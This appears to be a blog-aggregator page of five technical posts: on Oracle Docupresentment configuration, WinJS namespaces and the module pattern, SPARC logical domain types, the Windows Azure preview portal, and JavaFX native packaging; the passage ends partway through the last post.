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• In Which We Demystify A Few Docupresentment Settings And Learn the Ethos of the Author

  - by Andy Little

  It's no secret that Docupresentment (part of the Oracle Documaker suite) is powerful tool for integrating on-demand and interactive applications for publishing with the Oracle Documaker framework.  It's also no secret there are are many details with respect to the configuration of Docupresentment that can elude even the most erudite of of techies.  To be sure, Docupresentment will work for you right out of the box, and in most cases will suit your needs without toying with a configuration file.  But, where's the adventure in that?   With this inaugural post to That's The Way, I'm going to introduce myself, and what my aim is with this blog.  If you didn't figure it out already by checking out my profile, my name is Andy and I've been with Oracle (nee Skywire Software nee Docucorp nee Formmaker) since the formative years of 1998.  Strangely, it doesn't seem that long ago, but it's certainly a lifetime in the age of technology.  I recall running a BBS from my parent's basement on a 1200 baud modem, and the trepidation and sweaty-palmed excitement of upgrading to the power and speed of 2400 baud!  Fine, I'll admit that perhaps I'm inflating the experience a bit, but I was kid!  This is the stuff of War Games and King's Quest I and the demise of TI-99 4/A.  Exciting times.  So fast-forward a bit and I'm 12 years into a career in the world of document automation and publishing working for the best (IMHO) software company on the planet.  With That's The Way I hope to shed a little light and peek under the covers of some of the more interesting aspects of implementations involving the tech space within the Oracle Insurance Global Business Unit (IGBU), which includes Oracle Documaker, Rating & Underwriting, and Policy Administration to name a few.  I may delve off course a bit, and you'll likely get a dose of humor (at least in my mind) but I hope you'll glean at least a tidbit of usefulness with each post.  Feel free to comment as I'm a fairly conversant guy and happy to talk -- it's stopping the talking that's the hard part... So, back to our regularly-scheduled post, already in progress.  By this time you've visited Oracle's E-Delivery site and acquired your properly-licensed version of Oracle Documaker.  Wait -- you didn't find it?  Understandable -- navigating the voluminous download library within Oracle can be a daunting task.  It's pretty simple once you’ve done it a few times.  Login to the e-delivery site, and accept the license terms and restrictions.  Then, you’ll be able to select the Oracle Insurance Applications product pack and your appropriate platform. Click Go and you’ll see a list of applicable products, and you’ll click on Oracle Documaker Media Pack (as I went to press with this article the version is 11.4): Finally, click the Download button next to Docupresentment (again, version at press time is 2.2 p5). This should give you a ZIP file that contains the installation packages for the Docupresentment Server and Client, cryptically named IDSServer22P05W32.exe and IDSClient22P05W32.exe. At this time, I’d like to take a little detour and explain that the world of Oracle, like most technical companies, is rife with acronyms.  One of the reasons Skywire Software was a appealing to Oracle was our use of many acronyms, including the occasional use of multiple acronyms with the same meaning.  I apologize in advance and will try to point these out along the way.  Here’s your first sticky note to go along with that: IDS = Internet Document Server = Docupresentment Once you’ve completed the installation, you’ll have a shiny new Docupresentment server and client, and if you installed the default location it will be living in c:\docserv. Unix users, I’m one of you!  You’ll find it by default in  ~/docupresentment/docserv.  Forging onward with the meat of this post is learning about some special configuration options.  By now you’ve read the documentation included with the download (specifically ids_book.pdf) which goes into some detail of the rubric of the configuration file and in fact there’s even a handy utility that provides an interface to the configuration file (see Running IDSConfig in the documentation).  But who wants to deal with a configuration utility when we have the tools and technology to edit the file <gasp> by hand! I shall now proceed with the standard Information Technology Under the Hood Disclaimer: Please remember to back up any files before you make changes.  I am not responsible for any havoc you may wreak! Go to your installation directory, and locate your docserv.xml file.  Open it in your favorite XML editor.  I happen to be fond of Notepad++ with the XML Tools plugin.  Almost immediately you will behold the splendor of the configuration file.  Just take a moment and let that sink in.  Ok – moving on.  If you reviewed the documentation you know that inside the root <configuration> node there are multiple <section> nodes, each containing a specific group of settings.  Let’s take a look at <section name=”DocumentServer”>: There are a few entries I’d like to discuss.  First, <entry name=”StartCommand”>. This should be pretty self-explanatory; it’s the name of the executable that’s run when you fire up Docupresentment.  Immediately following that is <entry name=”StartArguments”> and as you might imagine these are the arguments passed to the executable.  A few things to point out: The –Dids.configuration=docserv.xml parameter specifies the name of your configuration file. The –Dlogging.configuration=logconf.xml parameter specifies the name of your logging configuration file (this uses log4j so bone up on that before you delve here). The -Djava.endorsed.dirs=lib/endorsed parameter specifies the path where 3rd party Java libraries can be located for use with Docupresentment.  More on that in another post. The <entry name=”Instances”> allows you to specify the number of instances of Docupresentment that will be started.  By default this is two, and generally two instances per CPU is adequate, however you will always need to perform load testing to determine the sweet spot based on your hardware and types of transactions.  You may have many, many more instances than 2. Time for a sidebar on instances.  An instance is nothing more than a separate process of Docupresentment.  The Docupresentment service that you fire up with docserver.bat or docserver.sh actually starts a watchdog process, which is then responsible for starting up the actual Docupresentment processes.  Each of these act independently from one another, so if one crashes, it does not affect any others.  In the case of a crashed process, the watchdog will start up another instance so the number of configured instances are always running.  Bottom line: instance = Docupresentment process. And now, finally, to the settings which gave me pause on an not-too-long-ago implementation!  Docupresentment includes a feature that watches configuration files (such as docserv.xml and logconf.xml) and will automatically restart its instances to load the changes.  You can configure the time that Docupresentment waits to check these files using the setting <entry name=”FileWatchTimeMillis”>.  By default the number is 12000ms, or 12 seconds.  You can save yourself a few CPU cycles by extending this time, or by disabling  the check altogether by setting the value to 0.  This may or may not be appropriate for your environment; if you have 100% uptime requirements then you probably don’t want to bring down an entire set of processes just to accept a new configuration value, so it’s best to leave this somewhere between 12 seconds to a few minutes.  Another point to keep in mind: if you are using Documaker real-time processing under Docupresentment the Master Resource Library (MRL) files and INI options are cached, and if you need to affect a change, you’ll have to “restart” Docupresentment.  Touching the docserv.xml file is an easy way to do this (other methods including using the RSS request, but that’s another post). The next item up: <entry name=”FilePurgeTimeSeconds”>.  You may already know that the Docupresentment system can generate many temporary files based on certain request types that are processed through the system.  What you may not know is how those files are cleaned up.  There are many rules in Docupresentment that cause the creation of temporary files.  When these files are created, Docupresentment writes an entry into a properties file called the file cache.  This file contains the name, creation date, and expiration time of each temporary file created by each instance of Docupresentment.  Periodically Docupresentment will check the file cache to determine if there are files that are past the expiration time, not unlike that block of cheese festering away in the back of my refrigerator.  However, unlike my ‘fridge cleaning tendencies, Docupresentment is quick to remove files that are past their expiration time.  You, my friend, have the power to control how often Docupresentment inspects the file cache.  Simply set the value for <entry name=”FilePurgeTimeSeconds”> to the number of seconds appropriate for your requirements and you’re set.  Note that file purging happens on a separate thread from normal request processing, so this shouldn’t interfere with response times unless the CPU happens to be really taxed at the point of cache processing.  Finally, after all of this, we get to the final setting I’m going to address in this post: <entry name=”FilePurgeList”>.  The default is “filecache.properties”.  This establishes the root name for the Docupresentment file cache that I mentioned previously.  Docupresentment creates a separate cache file for each instance based on this setting.  If you have two instances, you’ll see two files created: filecache.properties.1 and filecache.properties.2.  Feel free to open these up and check them out. I hope you’ve enjoyed this first foray into the configuration file of Docupresentment.  If you did enjoy it, feel free to drop a comment, I welcome feedback.  If you have ideas for other posts you’d like to see, please do let me know.  You can reach me at [email protected]. ‘Til next time! ###

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• Metro: Namespaces and Modules

  - by Stephen.Walther

  The goal of this blog entry is to describe how you can use the Windows JavaScript (WinJS) library to create namespaces. In particular, you learn how to use the WinJS.Namespace.define() and WinJS.Namespace.defineWithParent() methods. You also learn how to hide private methods by using the module pattern. Why Do We Need Namespaces? Before we do anything else, we should start by answering the question: Why do we need namespaces? What function do they serve? Do they just add needless complexity to our Metro applications? After all, plenty of JavaScript libraries do just fine without introducing support for namespaces. For example, jQuery has no support for namespaces and jQuery is the most popular JavaScript library in the universe. If jQuery can do without namespaces, why do we need to worry about namespaces at all? Namespaces perform two functions in a programming language. First, namespaces prevent naming collisions. In other words, namespaces enable you to create more than one object with the same name without conflict. For example, imagine that two companies – company A and company B – both want to make a JavaScript shopping cart control and both companies want to name the control ShoppingCart. By creating a CompanyA namespace and CompanyB namespace, both companies can create a ShoppingCart control: a CompanyA.ShoppingCart and a CompanyB.ShoppingCart control. The second function of a namespace is organization. Namespaces are used to group related functionality even when the functionality is defined in different physical files. For example, I know that all of the methods in the WinJS library related to working with classes can be found in the WinJS.Class namespace. Namespaces make it easier to understand the functionality available in a library. If you are building a simple JavaScript application then you won’t have much reason to care about namespaces. If you need to use multiple libraries written by different people then namespaces become very important. Using WinJS.Namespace.define() In the WinJS library, the most basic method of creating a namespace is to use the WinJS.Namespace.define() method. This method enables you to declare a namespace (of arbitrary depth). The WinJS.Namespace.define() method has the following parameters: · name – A string representing the name of the new namespace. You can add nested namespace by using dot notation · members – An optional collection of objects to add to the new namespace For example, the following code sample declares two new namespaces named CompanyA and CompanyB.Controls. Both namespaces contain a ShoppingCart object which has a checkout() method: // Create CompanyA namespace with ShoppingCart WinJS.Namespace.define("CompanyA"); CompanyA.ShoppingCart = { checkout: function (){ return "Checking out from A"; } }; // Create CompanyB.Controls namespace with ShoppingCart WinJS.Namespace.define( "CompanyB.Controls", { ShoppingCart: { checkout: function(){ return "Checking out from B"; } } } ); // Call CompanyA ShoppingCart checkout method console.log(CompanyA.ShoppingCart.checkout()); // Writes "Checking out from A" // Call CompanyB.Controls checkout method console.log(CompanyB.Controls.ShoppingCart.checkout()); // Writes "Checking out from B" In the code above, the CompanyA namespace is created by calling WinJS.Namespace.define(“CompanyA”). Next, the ShoppingCart is added to this namespace. The namespace is defined and an object is added to the namespace in separate lines of code. A different approach is taken in the case of the CompanyB.Controls namespace. The namespace is created and the ShoppingCart object is added to the namespace with the following single line of code: WinJS.Namespace.define( "CompanyB.Controls", { ShoppingCart: { checkout: function(){ return "Checking out from B"; } } } ); Notice that CompanyB.Controls is a nested namespace. The top level namespace CompanyB contains the namespace Controls. You can declare a nested namespace using dot notation and the WinJS library handles the details of creating one namespace within the other. After the namespaces have been defined, you can use either of the two shopping cart controls. You call CompanyA.ShoppingCart.checkout() or you can call CompanyB.Controls.ShoppingCart.checkout(). Using WinJS.Namespace.defineWithParent() The WinJS.Namespace.defineWithParent() method is similar to the WinJS.Namespace.define() method. Both methods enable you to define a new namespace. The difference is that the defineWithParent() method enables you to add a new namespace to an existing namespace. The WinJS.Namespace.defineWithParent() method has the following parameters: · parentNamespace – An object which represents a parent namespace · name – A string representing the new namespace to add to the parent namespace · members – An optional collection of objects to add to the new namespace The following code sample demonstrates how you can create a root namespace named CompanyA and add a Controls child namespace to the CompanyA parent namespace: WinJS.Namespace.define("CompanyA"); WinJS.Namespace.defineWithParent(CompanyA, "Controls", { ShoppingCart: { checkout: function () { return "Checking out"; } } } ); console.log(CompanyA.Controls.ShoppingCart.checkout()); // Writes "Checking out" One significant advantage of using the defineWithParent() method over the define() method is the defineWithParent() method is strongly-typed. In other words, you use an object to represent the base namespace instead of a string. If you misspell the name of the object (CompnyA) then you get a runtime error. Using the Module Pattern When you are building a JavaScript library, you want to be able to create both public and private methods. Some methods, the public methods, are intended to be used by consumers of your JavaScript library. The public methods act as your library’s public API. Other methods, the private methods, are not intended for public consumption. Instead, these methods are internal methods required to get the library to function. You don’t want people calling these internal methods because you might need to change them in the future. JavaScript does not support access modifiers. You can’t mark an object or method as public or private. Anyone gets to call any method and anyone gets to interact with any object. The only mechanism for encapsulating (hiding) methods and objects in JavaScript is to take advantage of functions. In JavaScript, a function determines variable scope. A JavaScript variable either has global scope – it is available everywhere – or it has function scope – it is available only within a function. If you want to hide an object or method then you need to place it within a function. For example, the following code contains a function named doSomething() which contains a nested function named doSomethingElse(): function doSomething() { console.log("doSomething"); function doSomethingElse() { console.log("doSomethingElse"); } } doSomething(); // Writes "doSomething" doSomethingElse(); // Throws ReferenceError You can call doSomethingElse() only within the doSomething() function. The doSomethingElse() function is encapsulated in the doSomething() function. The WinJS library takes advantage of function encapsulation to hide all of its internal methods. All of the WinJS methods are defined within self-executing anonymous functions. Everything is hidden by default. Public methods are exposed by explicitly adding the public methods to namespaces defined in the global scope. Imagine, for example, that I want a small library of utility methods. I want to create a method for calculating sales tax and a method for calculating the expected ship date of a product. The following library encapsulates the implementation of my library in a self-executing anonymous function: (function (global) { // Public method which calculates tax function calculateTax(price) { return calculateFederalTax(price) + calculateStateTax(price); } // Private method for calculating state tax function calculateStateTax(price) { return price * 0.08; } // Private method for calculating federal tax function calculateFederalTax(price) { return price * 0.02; } // Public method which returns the expected ship date function calculateShipDate(currentDate) { currentDate.setDate(currentDate.getDate() + 4); return currentDate; } // Export public methods WinJS.Namespace.define("CompanyA.Utilities", { calculateTax: calculateTax, calculateShipDate: calculateShipDate } ); })(this); // Show expected ship date var shipDate = CompanyA.Utilities.calculateShipDate(new Date()); console.log(shipDate); // Show price + tax var price = 12.33; var tax = CompanyA.Utilities.calculateTax(price); console.log(price + tax); In the code above, the self-executing anonymous function contains four functions: calculateTax(), calculateStateTax(), calculateFederalTax(), and calculateShipDate(). The following statement is used to expose only the calcuateTax() and the calculateShipDate() functions: // Export public methods WinJS.Namespace.define("CompanyA.Utilities", { calculateTax: calculateTax, calculateShipDate: calculateShipDate } ); Because the calculateTax() and calcuateShipDate() functions are added to the CompanyA.Utilities namespace, you can call these two methods outside of the self-executing function. These are the public methods of your library which form the public API. The calculateStateTax() and calculateFederalTax() methods, on the other hand, are forever hidden within the black hole of the self-executing function. These methods are encapsulated and can never be called outside of scope of the self-executing function. These are the internal methods of your library. Summary The goal of this blog entry was to describe why and how you use namespaces with the WinJS library. You learned how to define namespaces using both the WinJS.Namespace.define() and WinJS.Namespace.defineWithParent() methods. We also discussed how to hide private members and expose public members using the module pattern.

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• Best Practices - updated: which domain types should be used to run applications

  - by jsavit

  This post is one of a series of "best practices" notes for Oracle VM Server for SPARC (formerly named Logical Domains). This is an updated and enlarged version of the post on this topic originally posted October 2012. One frequent question "what type of domain should I use to run applications?" There used to be a simple answer: "run applications in guest domains in almost all cases", but now there are more things to consider. Enhancements to Oracle VM Server for SPARC and introduction of systems like the current SPARC servers including the T4 and T5 systems, the Oracle SuperCluster T5-8 and Oracle SuperCluster M6-32 provide scale and performance much higher than the original servers that ran domains. Single-CPU performance, I/O capacity, memory sizes, are much larger now, and far more demanding applications are now being hosted in logical domains. The general advice continues to be "use guest domains in almost all cases", meaning, "use virtual I/O rather than physical I/O", unless there is a specific reason to use the other domain types. The sections below will discuss the criteria for choosing between domain types. Review: division of labor and types of domain Oracle VM Server for SPARC offloads management and I/O functionality from the hypervisor to domains (also called virtual machines), providing a modern alternative to older VM architectures that use a "thick", monolithic hypervisor. This permits a simpler hypervisor design, which enhances reliability, and security. It also reduces single points of failure by assigning responsibilities to multiple system components, further improving reliability and security. Oracle VM Server for SPARC defines the following types of domain, each with their own roles: Control domain - management control point for the server, runs the logical domain daemon and constraints engine, and is used to configure domains and manage resources. The control domain is the first domain to boot on a power-up, is always an I/O domain, and is usually a service domain as well. It doesn't have to be, but there's no reason to not leverage it for virtual I/O services. There is one control domain per T-series system, and one per Physical Domain (PDom) on an M5-32 or M6-32 system. M5 and M6 systems can be physically domained, with logical domains within the physical ones. I/O domain - a domain that has been assigned physical I/O devices. The devices may be one more more PCIe root complexes (in which case the domain is also called a root complex domain). The domain has native access to all the devices on the assigned PCIe buses. The devices can be any device type supported by Solaris on the hardware platform. a SR-IOV (Single-Root I/O Virtualization) function. SR-IOV lets a physical device (also called a physical function) or PF) be subdivided into multiple virtual functions (VFs) which can be individually assigned directly to domains. SR-IOV devices currently can be Ethernet or InfiniBand devices. direct I/O ownership of one or more PCI devices residing in a PCIe bus slot. The domain has direct access to the individual devices An I/O domain has native performance and functionality for the devices it owns, unmediated by any virtualization layer. It may also have virtual devices. Service domain - a domain that provides virtual network and disk devices to guest domains. The services are defined by commands that are run in the control domain. It usually is an I/O domain as well, in order for it to have devices to virtualize and serve out. Guest domain - a domain whose devices are all virtual rather than physical: virtual network and disk devices provided by one or more service domains. In common practice, this is where applications are run. Device considerations Consider the following when choosing between virtual devices and physical devices: Virtual devices provide the best flexibility - they can be dynamically added to and removed from a running domain, and you can have a large number of them up to a per-domain device limit. Virtual devices are compatible with live migration - domains that exclusively have virtual devices can be live migrated between servers supporting domains. On the other hand: Physical devices provide the best performance - in fact, native "bare metal" performance. Virtual devices approach physical device throughput and latency, especially with virtual network devices that can now saturate 10GbE links, but physical devices are still faster. Physical I/O devices do not add load to service domains - all the I/O goes directly from the I/O domain to the device, while virtual I/O goes through service domains, which must be provided sufficient CPU and memory capacity. Physical I/O devices can be other than network and disk - we virtualize network, disk, and serial console, but physical devices can be the wide range of attachable certified devices, including things like tape and CDROM/DVD devices. In some cases the lines are now blurred: virtual devices have better performance than previously: starting with Oracle VM Server for SPARC 3.1 there is near-native virtual network performance. There is more flexibility with physical devices than before: SR-IOV devices can now be dynamically reconfigured on domains. Tradeoffs one used to have to make are now relaxed: you can often have the flexibility of virtual I/O with performance that previously required physical I/O. You can have the performance and isolation of SR-IOV with the ability to dynamically reconfigure it, just like with virtual devices. Typical deployment A service domain is generally also an I/O domain: otherwise it wouldn't have access to physical device "backends" to offer to its clients. Similarly, an I/O domain is also typically a service domain in order to leverage the available PCI buses. Control domains must be I/O domains, because they boot up first on the server and require physical I/O. It's typical for the control domain to also be a service domain too so it doesn't "waste" the I/O resources it uses. A simple configuration consists of a control domain that is also the one I/O and service domain, and some number of guest domains using virtual I/O. In production, customers typically use multiple domains with I/O and service roles to eliminate single points of failure, as described in Availability Best Practices - Avoiding Single Points of Failure . Guest domains have virtual disk and virtual devices provisioned from more than one service domain, so failure of a service domain or I/O path or device does not result in an application outage. This also permits "rolling upgrades" in which service domains are upgraded one at a time while their guests continue to operate without disruption. (It should be noted that resiliency to I/O device failures can also be provided by the single control domain, using multi-path I/O) In this type of deployment, control, I/O, and service domains are used for virtualization infrastructure, while applications run in guest domains. Changing application deployment patterns The above model has been widely and successfully used, but more configuration options are available now. Servers got bigger than the original T2000 class machines with 2 I/O buses, so there is more I/O capacity that can be used for applications. Increased server capacity made it attractive to run more vertically-scaled applications, such as databases, with higher resource requirements than the "light" applications originally seen. This made it attractive to run applications in I/O domains so they could get bare-metal native I/O performance. This is leveraged by the Oracle SuperCluster engineered systems mentioned previously. In those engineered systems, I/O domains are used for high performance applications with native I/O performance for disk and network and optimized access to the Infiniband fabric. Another technical enhancement is Single Root I/O Virtualization (SR-IOV), which make it possible to give domains direct connections and native I/O performance for selected I/O devices. Not all I/O domains own PCI complexes, and there are increasingly more I/O domains that are not service domains. They use their I/O connectivity for performance for their own applications. However, there are some limitations and considerations: at this time, a domain using physical I/O cannot be live-migrated to another server. There is also a need to plan for security and introducing unneeded dependencies: if an I/O domain is also a service domain providing virtual I/O to guests, it has the ability to affect the correct operation of its client guest domains. This is even more relevant for the control domain. where the ldm command must be protected from unauthorized (or even mistaken) use that would affect other domains. As a general rule, running applications in the service domain or the control domain should be avoided. For reference, an excellent guide to secure deployment of domains by Stefan Hinker is at Secure Deployment of Oracle VM Server for SPARC. To recap: Guest domains with virtual I/O still provide the greatest operational flexibility, including features like live migration. They should be considered the default domain type to use unless there is a specific requirement that mandates an I/O domain. I/O domains can be used for applications with the highest performance requirements. Single Root I/O Virtualization (SR-IOV) makes this more attractive by giving direct I/O access to more domains, and by permitting dynamic reconfiguration of SR-IOV devices. Today's larger systems provide multiple PCIe buses - for example, 16 buses on the T5-8 - making it possible to configure multiple I/O domains each owning their own bus. Service domains should in general not be used for applications, because compromised security in the domain, or an outage, can affect domains that depend on it. This concern can be mitigated by providing guests' their virtual I/O from more than one service domain, so interruption of service in one service domain does not cause an application outage. The control domain should in general not be used to run applications, for the same reason. Oracle SuperCluster uses the control domain for applications, but it is an exception. It's not a general purpose environment; it's an engineered system with specifically configured applications and optimization for optimal performance. These are recommended "best practices" based on conversations with a number of Oracle architects. Keep in mind that "one size does not fit all", so you should evaluate these practices in the context of your own requirements. Summary Higher capacity servers that run Oracle VM Server for SPARC are attractive for applications with the most demanding resource requirements. New deployment models permit native I/O performance for demanding applications by running them in I/O domains with direct access to their devices. This is leveraged in SPARC SuperCluster, and can be leveraged in T-series servers to provision high-performance applications running in domains. Carefully planned, this can be used to provide peak performance for critical applications. That said, the improved virtual device performance in Oracle VM Server means that the default choice should still be guest domains with virtual I/O.

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• Windows Azure Evolution &ndash; Preview Developer Portal

  - by Shaun

  With the MEET Windows Azure event on 7th June, there are many new features and updates in windows azure platform. In the coming several posts I will try to cover some of them. And in the first post here I would like to just have a quick walkthrough of the new preview developer portal.   History of the Developer Portal If you have been working with windows azure since 2009 or 2010, you should remember the first version of the developer portal. It was built in HTML with very limited features. I have the impression when I was using is old one. The layout is not that attractive and you have very limited features. On November, 2010 alone with the SDK 1.3 release, the developer portal was getting a big jump. In order to give more usability and features this it turned to be built on Silverlight. Hence it runs like a desktop application with many windows, lists, commands and context menus. From 2010 till now many features were involved into this portal, such as the remote desktop, co-admin, virtual connect, VM role, etc.. And the portal itself became more and more complicated. But it brought some problems by using the Silverlight. The first one is the browser capability. As you know in most mobile and tablet device the browser doesn’t allow the rich content plugin, such as Flash and Silverlight. This means people cannot open and configure their azure services from their iPad, iPhone and Windows Phone, etc., even though what they need may just be restart a hosted service, or view the status of their databases. Another problem is the performance. Silverlight provides rich experience to the users, but also needs more bandwidth. So in this upgrade the preview developer portal will be back to use HTML, with JavaScript, as a mobile friendly, cross browser, interactively web site.   Preview Portal vs. Silverlight Portal Before I started to talk about the new preview portal I’d better highlight that, this preview portal is a PREVIEW version, which means even though you can do almost all features that already in the old one, as long as some cool new features I will mention in the coming several posts, there are something still under developed and migrated. So sometimes you need to switch back to the old one. For example, in preview portal there is no co-admin manage function, no remote desktop function and the SQL database manage function will take you back to the old SQL Azure Manage Portal. But as Microsoft said these missing features will be moved in the preview portal in the couple of next few months. Since the public URL of the developer portal, https://windows.azure.com/, had been changed to point to this preview one, you need to click to preview button on top of the page and click the “Take me to the previous portal” link.   Overview There are four parts in the preview portal. On the top is the header which shows the account you are currently logging in. If you click on the header it will show the top menu of windows azure, where you can navigate to the windows azure home page, the price information page, community and account, etc.. The navigation bar is on the left hand side, with the categories listed below. ALL ITEMS All items in your windows azure account, includes the web sites, services, databases, etc.. WEB SITES The web sites in your windows azure account. It will only show the web sites you have. The linked resources will be shown if you drill down into a web site. VIRTUAL MACHINES The virtual machines that you had been deployed to azure. CLOUD SERVICES All windows azure hosted services in your account. SQL DATABASES All SQL databases (SQL Azure) in your account. STORAGE All windows azure storage services in your account. NETWORKS The virtual network (Windows Azure Connect) you had been created. The available items will be listed in the main part of the page based on which category your currently selected. If there’s no item it will show the link to you to quick create. At the bottom of the page there will be the command and information bar. Based on what is selected and what is performed by the user, it will show the related information and commands. For example, in the image below when I was creating a new web site, the information bar told me that my web site is being provisioned; and there are two commands in the command bar. And once it ready the command bar will show some commands that I can do to my new web site. The “Web Sites” is a new feature introduced alone with this upgrade. It gives us an easier and quicker way to establish a website from the scratch or from some existing library. I will introduce it more details in the coming next post. Also in the command bar you can create a service by clicking the NEW button. It will slide the creation panel up to you.   Where’s My Hosted Services The Windows Azure Hosted Services had been renamed to the Cloud Services. Create a new service would be very easy. Just click the NEW button at the bottom of the page, and select the CLOUD SERVICE and QIUICK CREATE. This will create a blank hosted service without deployment and certificate. It just needs you to specify the service URL and the affinity/region. Then the service will be shown in the list. If you clicked the item all information will be shown in the main part. Since there’s no package deployed to this service so currently we cannot see any information about it. But we can upload the package by using the command at the bottom. And as you can see, we could manage the configuration, instances, certificates and we can scale up and down (change the VM size), in and out (increase and decrease the instance count) to our service. Assuming I had created an ASP.NET MVC 3 web role project in Visual Studio and completed the package. Then I can click the UPLOAD button in this page to deploy my package. In the popping up window I just specify my deployment name, package file and configure file. Also I can check the box below so that it will NOT warn me if only one instance of this deployment. Once we clicked the OK button our package will be uploaded and provisioned by the platform. After a while we can see the service was ready from the information bar. We can have the basic information about this service and deployment if we to the dashboard page. For example the usage overview diagram, status, URL, public IP address, etc.. In the configure page we can view and change the CSCFG content such as the monitor setting, connection strings, OS family. In scale page we can increase and decrease the count of the instances. And in the instances page we can view all instances status. And, if your services is using some SQL databases and storages they will be shown as the linked resources under the linked resources page. And you can manage the certificates of this service as well under the certificates page.   How About My Storage Services The storage service can be managed by clicking into the STORAGES link in the navigation bar. And we can create a new storage service from the NEW button. After specify the storage name and region it will be previsioned by the platform. If you want to copy or manage the storage key you can just click the Manage Keys button at the bottom, which is very easy. What I want to highlight here is that, you can monitor your storage service by enabling the monitor configuration. Click the storage item in the list and navigate to the configure page. As you can see in the page you can enable the monitoring for blob, table and queue. And you can also enable the logging when any requests come to the storage. But as the tooltip shown in the page, enabling the monitoring and logging will increase the usage of the storage, which means increase the bill of them. So make sure you enable them properly.   And My SQL Databases (SQL Azure) The last thing I want to quick introduce is the SQL databases, which was formally named SQL Azure. You can create a new SQL Database Server and a new database by clicking the ADD button under the SQL Database navigation item. In the popping up windows just specify the database name, the edition, size, collation and the server. You can select an existing SQL Database Server if you have, or cerate a new one. If you selected to create a new server, there will be another step you need to do, which is specify the server login, password and the region. Once it ready you can mange your databases as well as the servers in the portal. In a particular server you can update the firewall settings in its Configure page. So, What Else There are some other area on the preview portal I didn’t cover, such as the virtual machines, virtual network and web sites. Regarding the virtual machines and web sites I will talk about them in the future separated post. Regarding the virtual network, it the Windows Azure Connect we are familiar with. But as I mention in the beginning of this post, the preview portal is still under developed. Some features are not available here. For example, you cannot manage the co-admin of your subscriptions, you cannot open the remote desktop on your hosted services, and you cannot navigate to the Windows Azure Service Bus, Access Control and Caching, which formally named Windows Azure AppFabric directly. In these cases you need to navigate back to the old portal. So in the coming several months we might need to use both these two sites.   Summary In this post I quick introduced the new windows azure developer portal. Since it had been rearranged and renamed I demonstrated some features that existing in the old portal, such as how to create and deploy a hosted service, how to provision a storage service and SQL database. All features in the old portal had been, is being and will be migrated into this new portal, but some of them were in a different category and page we need to figure out.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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• Native packaging for JavaFX

  - by igor

  JavaFX 2.2 adds new packaging option for JavaFX applications, allowing you to package your application as a "native bundle". This gives your users a way to install and run your application without any external dependencies on a system JRE or FX SDK. I'd like to give you an overview of what is it, motivation behind it, and finally explain how to get started with it. Screenshots may give you some idea of user experience but first hand experience is always the best. Before we go into all of the boring details, here are few different flavors of Ensemble for you to try: exe, msi, dmg, rpm installers and zip of linux bundle for non-rpm aware systems. Alternatively, check out native packages for JFXtras 2. Whats wrong with existing deployment options? JavaFX 2 applications are easy to distribute as a standalone application or as an application deployed on the web (embedded in the web page or as link to launch application from the webpage). JavaFX packaging tools, such as ant tasks and javafxpackager utility, simplify the creation of deployment packages even further. Why add new deployment options? JavaFX applications have implicit dependency on the availability of Java and JavaFX runtimes, and while existing deployment methods provide a means to validate the system requirements are met -- and even guide user to perform required installation/upgrades -- they do not fully address all of the important scenarios. In particular, here are few examples: the user may not have admin permissions to install new system software if the application was certified to run in the specific environment (fixed version of Java and JavaFX) then it may be hard to ensure user has this environment due to an autoupdate of the system version of Java/JavaFX (to ensure they are secure). Potentially, other apps may have a requirement for a different JRE or FX version that your app is incompatible with. your distribution channel may disallow dependencies on external frameworks (e.g. Mac AppStore) What is a "native package" for JavaFX application? In short it is  A Wrapper for your JavaFX application that makes is into a platform-specific application bundle Each Bundle is self-contained and includes your application code and resources (same set as need to launch standalone application from jar) Java and JavaFX runtimes (private copies to be used by this application only) native application launcher  metadata (icons, etc.) No separate installation is needed for Java and JavaFX runtimes Can be distributed as .zip or packaged as platform-specific installer No application changes, the same jar app binaries can be deployed as a native bundle, double-clickable jar, applet, or web start app What is good about it: Easy deployment of your application on fresh systems, without admin permissions when using .zip or a user-level installer No-hassle compatibility.  Your application is using a private copy of Java and JavaFX. The developer (you!) controls when these are updated. Easily package your application for Mac AppStore (or Windows, or...) Process name of running application is named after your application (and not just java.exe)  Easily deploy your application using enterprise deployment tools (e.g. deploy as MSI) Support is built in into JDK 7u6 (that includes JavaFX 2.2) Is it a silver bullet for the deployment that other deployment options will be deprecated? No.  There are no plans to deprecate other deployment options supported by JavaFX, each approach addresses different needs. Deciding whether native packaging is a best way to deploy your application depends on your requirements. A few caveats to consider: "Download and run" user experienceUnlike web deployment, the user experience is not about "launch app from web". It is more of "download, install and run" process, and the user may need to go through additional steps to get application launched - e.g. accepting a browser security dialog or finding and launching the application installer from "downloads" folder. Larger download sizeIn general size of bundled application will be noticeably higher than size of unbundled app as a private copy of the JRE and JavaFX are included.  We're working to reduce the size through compression and customizable "trimming", but it will always be substantially larger than than an app that depends on a "system JRE". Bundle per target platformBundle formats are platform specific. Currently a native bundle can only be produced for the same system you are building on.  That is, if you want to deliver native app bundles on Windows, Linux and Mac you will have to build your project on all three platforms. Application updates are the responsibility of developerWeb deployed Java applications automatically download application updates from the web as soon as they are available. The Java Autoupdate mechanism takes care of updating the Java and JavaFX runtimes to latest secure version several times every year. There is no built in support for this in for bundled applications. It is possible to use 3rd party libraries (like Sparkle on Mac) to add autoupdate support at application level.  In a future version of JavaFX we may include built-in support for autoupdate (add yourself as watcher for RT-22211 if you are interested in this) Getting started with native bundles First, you need to get the latest JDK 7u6 beta build (build 14 or later is recommended). On Windows/Mac/Linux it comes with JavaFX 2.2 SDK as part of JDK installation and contains JavaFX packaging tools, including: bin/javafxpackagerCommand line utility to produce JavaFX packages. lib/ant-javafx.jar Set of ant tasks to produce JavaFX packages (most recommended way to deploy apps) For general information on how to use them refer to the Deploying JavaFX Application guide. Once you know how use these tools to package your JavaFX application for other deployment methods there are only a few minor tweaks necessary to produce native bundles: make sure java is used from JDK7u6 bundle you have installed adjust your PATH settings if needed  if you are using ant tasks add "nativeBundles=all" attribute to fx:deploy task if you are using javafxpackager pass "-native" option to deploy command or if you are using makeall command then it will try build native packages by default result bundles will be in the "bundles" folder next to other deployment artifacts Note that building some types of native packages (e.g. .exe or .msi) may require additional free 3rd party software to be installed and available on PATH. As of JDK 7u6 build 14 you could build following types of packages: Windows bundle image EXE Inno Setup 5 or later is required Result exe will perform user level installation (no admin permissions are required) At least one shortcut will be created (menu or desktop) Application will be launched at the end of install MSI WiX 3.0 or later is required Result MSI will perform user level installation (no admin permissions are required) At least one shortcut will be created (menu or desktop)  MacOS bundle image dmg (drag and drop) installer Linux bundle image rpm 